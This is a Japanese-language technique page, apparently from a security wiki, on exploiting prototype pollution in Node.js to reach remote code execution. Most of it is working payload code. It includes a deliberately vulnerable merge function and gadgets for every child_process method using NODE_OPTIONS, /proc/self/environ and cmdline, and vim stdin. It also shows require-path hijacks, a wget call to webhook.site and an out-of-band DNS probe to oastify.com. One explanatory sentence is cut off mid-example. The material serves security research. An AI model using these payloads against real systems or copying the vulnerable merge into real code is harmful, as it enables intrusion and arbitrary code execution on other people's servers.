Prototype Pollution to RCE

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Vulnerable Code

実際のJSが次のようなコードを使用していると想像してください:

javascript
const { execSync, fork } = require("child_process")

function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(target) {
return merge({}, target)
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")

PP2RCE via env vars

PP2RCEPrototype Pollution to RCE(リモートコード実行)を意味します。

このwriteupによると、process is spawnedが**child_process**のいくつかのメソッド(forkspawnなど)を使用して呼び出されると、prototype pollution gadget to create new env varsであるnormalizeSpawnArgumentsメソッドが呼び出されます:

javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

コードを確認してください。envPairs汚染することが可能であることがわかります。**属性.env**を通じてです。

__proto__の汚染

warning

child_processライブラリのnormalizeSpawnArguments関数の動作により、プロセスのために新しいenv変数を設定するために何かを呼び出すとき、何かを汚染するだけで済みます。
例えば、`proto.avar="

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

constructor.prototypeの汚染

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

前のものと似たペイロードがこの解説で提案されました。主な違いは次のとおりです:

  • nodejs ペイロードをファイル/proc/self/environに保存する代わりに、**/proc/self/cmdline**のargv0に保存します。
  • その後、**NODE_OPTIONSを介してファイル/proc/self/environを要求する代わりに、/proc/self/cmdline**を要求します。
javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

DNS Interaction

以下のペイロードを使用することで、以前に説明したNODE_OPTIONS環境変数を悪用し、DNSインタラクションを通じてそれが機能したかどうかを検出することが可能です:

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}

または、WAFがドメインを要求するのを避けるために:

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE 脆弱性 child_process 関数

このセクションでは、child_process の各関数を分析してコードを実行し、その関数を強制的にコードを実行させる技術を使用できるかどうかを確認します:

exec の悪用
javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
execFile の悪用
javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")

// stdin trick - not working
// Not using stdin

// Windows - not working

execFile が機能するためには、NODE_OPTIONS が機能するように node を実行する必要があります。
もし node を実行していない場合は、実行されているものの 実行を変更する 方法を見つけ、環境変数を設定する必要があります。

他の テクニックはこの要件なしで 機能 します。なぜなら、プロトタイプ汚染を通じて 実行されるものを変更する ことが 可能だからです。 (この場合、たとえ .shell を汚染できても、実行されているものは汚染できません)。

fork の悪用
javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork("./a_file.js")

// Windows
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
spawn の悪用
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync の悪用
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execFileSync-stdin}\n"
var proc = execFileSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
execSync の悪用
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync の悪用
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/spawnSync-stdin}\n"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

スポーンの強制

前の例では、ガジェットをトリガーする方法を見ましたが、spawn を呼び出す機能が 存在する 必要があります(何かを実行するために使用される child_process のすべてのメソッドがそれを呼び出します)。前の例ではそれが コードの一部 でしたが、コードが 呼び出していない 場合はどうでしょうか。

requireファイルパスの制御

この 別の書き込み では、ユーザーが require が実行されるファイルパスを制御できます。そのシナリオでは、攻撃者は インポートされたときにスポーンメソッドを実行する .js ファイルをシステム内で見つける 必要があります。
インポートされたときにスポーン関数を呼び出す一般的なファイルのいくつかの例は次のとおりです:

  • /path/to/npm/scripts/changelog.js
  • /opt/yarn-v1.22.19/preinstall.js
  • 以下にさらにファイルを見つける

次のシンプルなスクリプトは、関数内の呼び出しを表示しない(パディングなしで) child_process からの 呼び出し を検索します:

bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
以前のスクリプトによって見つかった興味深いファイル
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();
  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

プロトタイプ汚染を介したrequireファイルパスの設定

warning

以前の技術はユーザーがファイルのパスを制御する必要があることを要求します。 しかし、これは常に真ではありません。

ただし、プロトタイプ汚染の後にrequireを実行するコードがある場合、たとえパスを制御できなくてもプロトタイプ汚染を悪用して異なるパスを強制することができます。 したがって、コード行がrequire("./a_file.js")require("bytes")のようであっても、汚染したパッケージをrequireします。

したがって、プロトタイプ汚染の後にrequireが実行され、spawn関数がない場合、これは攻撃です:

  • システム内の.jsファイルを見つける それがrequireされると、child_processを使用して何かを実行します
  • 攻撃しているプラットフォームにファイルをアップロードできる場合、そのようなファイルをアップロードすることができます
  • パスを汚染して、.jsファイルのrequireロードを強制する それがchild_processで何かを実行します
  • 環境/コマンドラインを汚染して、child_process実行関数が呼び出されたときに任意のコードを実行します(最初の技術を参照)

絶対require

実行されたrequireが絶対的require("bytes"))で、パッケージがpackage.jsonファイルにmainを含まない場合main属性を汚染してrequireが異なるファイルを実行するようにすることができます

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

相対require - 1

もし相対パスが絶対パスの代わりに読み込まれると、nodeは異なるパスを読み込むことができます:

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

相対的なrequire - 2

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

相対的なrequire - 3

前のものと似ており、この解説で見つかりました。

javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}

require("./usage.js")

VM Gadgets

論文https://arxiv.org/pdf/2207.11171.pdfでは、vmライブラリのいくつかのメソッドからのcontextExtensionsの制御がガジェットとして使用できることも示されています。
しかし、前述の
child_processメソッドと同様に、最新のバージョンでは修正
されています。

Fixes & Unexpected protections

プロトタイプ汚染は、アクセスされているオブジェクトの属性未定義である場合に機能することに注意してください。コード内でその属性設定されている場合、上書きすることはできません

2022年6月、このコミットから、変数options{}の代わりに**kEmptyObjectです。これにより、プロトタイプ汚染がoptions属性に影響を与えてRCEを取得するのを防ぎます。
少なくともv18.4.0からこの保護が
実装されており、したがってspawnおよびspawnSyncエクスプロイト**はメソッドに影響を与えなくなりました(optionsが使用されていない場合!)。

このコミットでは、vmライブラリの**contextExtensionsプロトタイプ汚染が、{}の代わりにkEmptyObjectに設定されることである程度修正**されました。

Other Gadgets

References

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